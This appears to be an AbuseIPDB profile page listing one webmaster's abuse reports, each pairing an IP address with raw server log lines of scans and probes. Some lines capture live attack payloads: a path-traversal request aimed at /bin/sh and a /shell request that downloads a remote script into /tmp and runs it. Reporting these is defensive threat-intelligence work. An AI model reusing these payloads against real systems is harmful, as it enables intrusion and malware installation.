AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User habs , the webmaster of kepa.dev, joined AbuseIPDB in November 2025 and has reported 110,027 IP addresses.

Standing (weight) is good.

ACTIVE USER WEBMASTER SUPPORTER

IP	Date	Comment	Categories
🇺🇸 109.105.209.28	01 Nov 2026	109.105.209.28 - - [01/Nov/2026:11:38:57 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 200 1345 "-" " ... show more 109.105.209.28 - - [01/Nov/2026:11:38:57 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 200 1345 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" ... show less	Web App Attack
🇺🇸 109.105.209.29	01 Nov 2026	109.105.209.29 - - [01/Nov/2026:11:38:14 +0200] "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" ... show more 109.105.209.29 - - [01/Nov/2026:11:38:14 +0200] "GET /sitecore/shell/sitecore.version.xml HTTP/1.1" 200 1345 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" ... show less	Web App Attack
🇩🇪 167.94.146.55	01 Nov 2026	167.94.146.55 - - [01/Nov/2026:11:35:17 +0200] "\x16\x03\x01\x05\xBA\x01\x00\x05\xB6\x03\x03\xF5=\xB ... show more 167.94.146.55 - - [01/Nov/2026:11:35:17 +0200] "\x16\x03\x01\x05\xBA\x01\x00\x05\xB6\x03\x03\xF5=\xB1\x0B\xB34\x97s\xD5\xD9\x0F\xD4\x03\xF1\x8A\x16MEa\xEAC\xA2H\x22n&Jj\xB5\x09\xB0! c7Y!\xF3Ef\x0B P\xF7\xC5\xF2\x97\x8B\xBA\x098l\x5C\x0C\xB9P*\xC2\x10\x85\xF7\x03\xA7(\xA0\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0" 400 150 "-" "-" 167.94.146.55 - - [01/Nov/2026:11:35:22 +0200] "\x16\x03\x01\x05\xBA\x01\x00\x05\xB6\x03\x03\xDD\|\xCAu\x82" 400 150 "-" "-" ... show less	Port Scan Bad Web Bot
🇺🇸 13.89.123.150	01 Nov 2026	13.89.123.150 - - [01/Nov/2026:10:01:52 +0200] "GET /manager/html HTTP/1.1" 400 248 "-" "Mozilla/5.0 ... show more 13.89.123.150 - - [01/Nov/2026:10:01:52 +0200] "GET /manager/html HTTP/1.1" 400 248 "-" "Mozilla/5.0 zgrab/0.x" ... show less	Web App Attack
🇭🇰 123.58.219.82	01 Nov 2026	123.58.219.82 - - [01/Nov/2026:10:00:18 +0200] "\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x7F\x03\x01NULL ... show more 123.58.219.82 - - [01/Nov/2026:10:00:18 +0200] "\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x7F\x03\x01NULL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-" 123.58.219.82 - - [01/Nov/2026:10:00:19 +0200] "\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x7F\x03\x01NULL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 400 150 "-" "-" ... show less	Port Scan Bad Web Bot
🇺🇸 172.104.13.149	01 Nov 2026	172.104.13.149 - - [01/Nov/2026:08:55:32 +0200] "\x16\x03\x01\x00\xAF\x01\x00\x00\xAB\x03\x03@v\xAC\ ... show more 172.104.13.149 - - [01/Nov/2026:08:55:32 +0200] "\x16\x03\x01\x00\xAF\x01\x00\x00\xAB\x03\x03@v\xAC\xED\xF4\x8F\xF2\x22\x00L\xE1\x87R\xA0\xEBc\xC8\x5C\xE0\xAC\xF0\xAC\x1BX@#\xE5\x82\x9A\x9F\x1Fr \xF6CU!\xC8G\x93\x05Tt\xDF\xFE\xCE?/\xD6\xA8c\xADrn\x8C\x9B\xDF\x1E$\x11\x8Fn}Cu\x00 \xCC\xA9\xCC\xA8*\xC0,\xC0+\xC00\xC0/\x00\x9D\x00\x9C\xC0" 400 150 "-" "-" 172.104.13.149 - - [01/Nov/2026:08:55:32 +0200] "\x16\x03\x01\x02B\x01\x00\x02>\x03\x03~\xC0\xC8\xFF\xF4\x00\x91\xA1\xF2\xED\x08\x7F\xC3\xF2F\xE1\x1D0\xB1)\xD2\xA4Z\xBC\x81\xAD<\x95\xA8\xAF\xAB bE\xF2\x82\x99\xFD\xF9\xA8N\xADT" 400 150 "-" "-" ... show less	Port Scan Bad Web Bot
🇫🇷 201.4.78.60	01 Nov 2026	201.4.78.60 - - [01/Nov/2026:08:47:16 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 301 162 "-" "MtmKi ... show more 201.4.78.60 - - [01/Nov/2026:08:47:16 +0200] "POST /cgi-bin/ViewLog.asp HTTP/1.1" 301 162 "-" "MtmKilledYou" ... show less	Web App Attack
🇵🇱 95.214.53.196	01 Nov 2026	95.214.53.196 - - [01/Nov/2026:07:38:28 +0200] "GET http://httpbin.org/get HTTP/1.1" 400 248 "-" "Go ... show more 95.214.53.196 - - [01/Nov/2026:07:38:28 +0200] "GET http://httpbin.org/get HTTP/1.1" 400 248 "-" "Go-http-client/1.1" 95.214.53.196 - - [01/Nov/2026:07:38:28 +0200] "\x05\x01\x00" 400 150 "-" "-" ... show less	Port Scan Bad Web Bot
🇧🇪 34.62.82.207	01 Nov 2026	34.62.82.207 - - [01/Nov/2026:07:18:51 +0200] "GET /actuator/env HTTP/2.0" 404 151 "-" "Mozilla/5.0 ... show more 34.62.82.207 - - [01/Nov/2026:07:18:51 +0200] "GET /actuator/env HTTP/2.0" 404 151 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" ... show less	Web App Attack
🇵🇰 223.123.34.8	01 Nov 2026	223.123.34.8 - - [01/Nov/2026:06:50:11 +0200] "POST /HNAP1/ HTTP/1.0" 301 162 "-" "-" ...	Web App Attack
🇺🇸 212.102.40.218	01 Nov 2026	212.102.40.218 - - [01/Nov/2026:06:44:58 +0200] "\x16\x03\x03\x01\xA5\x01\x00\x01\xA1\x03\x03\xF2\x9 ... show more 212.102.40.218 - - [01/Nov/2026:06:44:58 +0200] "\x16\x03\x03\x01\xA5\x01\x00\x01\xA1\x03\x03\xF2\x92\xDE4\xFB\x95\xE2\x1D\x89\xAE\x9E`\xED$\x84['\x91\xFD\x13\xF1\x0B\x98Uqd\x994\x10\xA5\xF9w \xE33g\xA8\x84\xD2l\xC4\xFA\xF27M?-\x11!\x22$?\xC1\x02\xFB\xDFx\xA6\xE8\|gG\x8B\xC5q\x00\x8A\x00\x16\x003\x00g\xC0\x9E\xC0\xA2\x00\x9E\x009\x00k\xC0\x9F\xC0\xA3\x00\x9F\x00E\x00\xBE\x00\x88\x00\xC4\x00\x9A\xC0\x08\xC0\x09\xC0#\xC0\xAC\xC0\xAE\xC0+\xC0" 400 150 "-" "-" 212.102.40.218 - - [01/Nov/2026:06:44:59 +0200] "\x16\x03\x03\x01\xA5\x01\x00\x01\xA1\x03\x03\x09\x9C<\xBC\x97\x0CP\xB5\xA7\x13\x97t\x92\x13&3\xD5\xAE\xCC\x12\xDA\x85\xA49\xFE\xF9\xFF(\x130:\xC8 \xB5\x89\xD9\x15\xB0\x05\xC7\x9B\xCF\xE1\xE1h\xA5];\xB3Rzn\x1C\xFF*\xA1]\x83\x9F\xD2\x8B\xA1\xC4{+\x00\x8A\x00\x05\x00\x04\x00\x07\x00\xC0\x00\x84\x00\xBA\x00A\x00\x9D\xC0\xA1\xC0\x9D\x00=\x005\x00\x9C\xC0\xA0\xC0\x9C\x00<\x00/\x00" 400 150 "-" "-" ... show less	Port Scan Bad Web Bot
🇪🇸 34.175.224.240	01 Nov 2026	34.175.224.240 - - [01/Nov/2026:05:45:30 +0200] "GET /wp-admin/phpinfo.php HTTP/1.1" 404 548 "-" "Mo ... show more 34.175.224.240 - - [01/Nov/2026:05:45:30 +0200] "GET /wp-admin/phpinfo.php HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" ... show less	Web App Attack
🇺🇸 185.180.141.58	01 Nov 2026	185.180.141.58 - - [01/Nov/2026:04:50:11 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 200 1345 "http ... show more 185.180.141.58 - - [01/Nov/2026:04:50:11 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 200 1345 "http://dsl-hkibng42-567334-92.dhcp.inet.fi/cgi-bin/authLogin.cgi" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" ... show less	Web App Attack
🇺🇸 185.180.141.57	01 Nov 2026	185.180.141.57 - - [01/Nov/2026:04:50:11 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 301 162 "-" "M ... show more 185.180.141.57 - - [01/Nov/2026:04:50:11 +0200] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 301 162 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" ... show less	Web App Attack
🇺🇸 172.236.228.202	01 Nov 2026	172.236.228.202 - - [01/Nov/2026:03:56:11 +0200] "\x16\x03\x01\x01" 400 150 "-" "-" 172.236.228.202 ... show more 172.236.228.202 - - [01/Nov/2026:03:56:11 +0200] "\x16\x03\x01\x01" 400 150 "-" "-" 172.236.228.202 - - [01/Nov/2026:03:56:12 +0200] "\x16\x03\x01\x01" 400 150 "-" "-" ... show less	Port Scan Bad Web Bot
🇺🇸 147.185.132.64	01 Nov 2026	147.185.132.64 - - [01/Nov/2026:03:46:07 +0200] "\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\xFC\x8 ... show more 147.185.132.64 - - [01/Nov/2026:03:46:07 +0200] "\x16\x03\x01\x00\xCA\x01\x00\x00\xC6\x03\x03\xFC\x81;\xCE" 400 150 "-" "-" 147.185.132.64 - - [01/Nov/2026:03:46:07 +0200] "\x16\x03\x01\x00\xEE\x01\x00\x00\xEA\x03\x03\xCE\xB8\x86H\xDE5E\xEF/\xC0\x09?\xC5\xAA\xE9\xBC)" 400 150 "-" "-" ... show less	Port Scan Bad Web Bot
🇮🇷 85.133.217.136	01 Nov 2026	85.133.217.136 - - [01/Nov/2026:02:46:10 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.% ... show more 85.133.217.136 - - [01/Nov/2026:02:46:10 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 150 "-" "-" ... show less	Web App Attack
🇺🇸 66.132.195.163	01 Nov 2026	66.132.195.163 - - [01/Nov/2026:02:37:19 +0200] "\x16\x03\x01\x05\xBA\x01\x00\x05\xB6\x03\x03\xA5\x1 ... show more 66.132.195.163 - - [01/Nov/2026:02:37:19 +0200] "\x16\x03\x01\x05\xBA\x01\x00\x05\xB6\x03\x03\xA5\x1F\x1C\x87\x1E`\x81\x89\x97\xF7\x1CuC\xA8\xEA\x7F\|\xC5\xBB\xC2\x17]t\xB0\xDBz\x19\x87hp;@ \xC3A\x03\xCE\xD6\x1D\x18e\xEB\xB1\xBE9\x17\xAA#\xED\x963\x7F\x15\x91\xE0or\xA8\xB2\xA5I\xD7\xD6Fg\x00&\xCC\xA8\xCC\xA9\xC0/\xC00\xC0+\xC0,\xC0\x13\xC0\x09\xC0\x14\xC0" 400 150 "-" "-" 66.132.195.163 - - [01/Nov/2026:02:37:40 +0200] "\x16\x03\x01\x05\xBA\x01\x00\x05\xB6\x03\x03\xB4\x8Ag\x1A\x1B\x1C-\xD0\x00\x8EP`\x08\xEC" 400 150 "-" "-" ... show less	Port Scan Bad Web Bot
🇳🇱 94.102.49.190	01 Nov 2026	94.102.49.190 - - [01/Nov/2026:02:14:26 +0200] "" 400 0 "-" "-" 94.102.49.190 - - [01/Nov/2026:02:14 ... show more 94.102.49.190 - - [01/Nov/2026:02:14:26 +0200] "" 400 0 "-" "-" 94.102.49.190 - - [01/Nov/2026:02:14:26 +0200] "" 400 0 "-" "-" ... show less	Port Scan Bad Web Bot
🇵🇱 45.138.12.41	31 Oct 2026	45.138.12.41 - - [01/Nov/2026:01:16:25 +0200] "GET /wp-login.php HTTP/2.0" 404 548 "-" "Mozilla/5.0 ... show more 45.138.12.41 - - [01/Nov/2026:01:16:25 +0200] "GET /wp-login.php HTTP/2.0" 404 548 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" ... show less	Web App Attack
🇺🇸 18.116.101.220	31 Oct 2026	18.116.101.220 - - [01/Nov/2026:00:18:00 +0200] "GET / HTTP/1.1" 400 650 "-" "visionheight.com/scan ... show more 18.116.101.220 - - [01/Nov/2026:00:18:00 +0200] "GET / HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 18.116.101.220 - - [01/Nov/2026:00:18:00 +0200] "GET /robots.txt HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" ... show less	Port Scan Bad Web Bot
🇺🇸 132.196.59.85	31 Oct 2026	132.196.59.85 - - [31/Oct/2026:23:07:24 +0200] "GET /wp-content/plugins/hellopress/wp_filemanager.ph ... show more 132.196.59.85 - - [31/Oct/2026:23:07:24 +0200] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 162 "-" "-" 132.196.59.85 - - [31/Oct/2026:23:07:24 +0200] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 404 146 "-" "-" 132.196.59.85 - - [31/Oct/2026:23:07:24 +0200] "GET /this_is_a_new_hello_world.php HTTP/1.1" 301 162 "-" "-" ... show less	Web App Attack
🇳🇱 77.239.124.162	31 Oct 2026	77.239.124.162 - - [31/Oct/2026:22:07:00 +0200] "GET /shell?cd+/tmp;rm+wget.sh;wget+http:/\x5C/202.1 ... show more 77.239.124.162 - - [31/Oct/2026:22:07:00 +0200] "GET /shell?cd+/tmp;rm+wget.sh;wget+http:/\x5C/202.110.70.60:800/wget.sh;sh+wget.sh+jaws HTTP/1.1" 301 162 "-" "KrebsOnSecurity" ... show less	Web App Attack
🇺🇸 18.116.101.220	31 Oct 2026	18.116.101.220 - - [31/Oct/2026:21:47:22 +0200] "GET /robots.txt HTTP/1.1" 400 650 "-" "visionheight ... show more 18.116.101.220 - - [31/Oct/2026:21:47:22 +0200] "GET /robots.txt HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 18.116.101.220 - - [31/Oct/2026:21:49:07 +0200] "GET / HTTP/1.1" 400 650 "-" "visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" ... show less	Port Scan Bad Web Bot
🇵🇱 95.214.53.196	31 Oct 2026	95.214.53.196 - - [31/Oct/2026:20:08:07 +0200] "GET http://httpbin.org/get HTTP/1.1" 400 248 "-" "Go ... show more 95.214.53.196 - - [31/Oct/2026:20:08:07 +0200] "GET http://httpbin.org/get HTTP/1.1" 400 248 "-" "Go-http-client/1.1" 95.214.53.196 - - [31/Oct/2026:20:08:07 +0200] "\x04\x01\x00P\x00\x00\x00\x01\x00httpbin.org\x00" 400 150 "-" "-" ... show less	Port Scan Bad Web Bot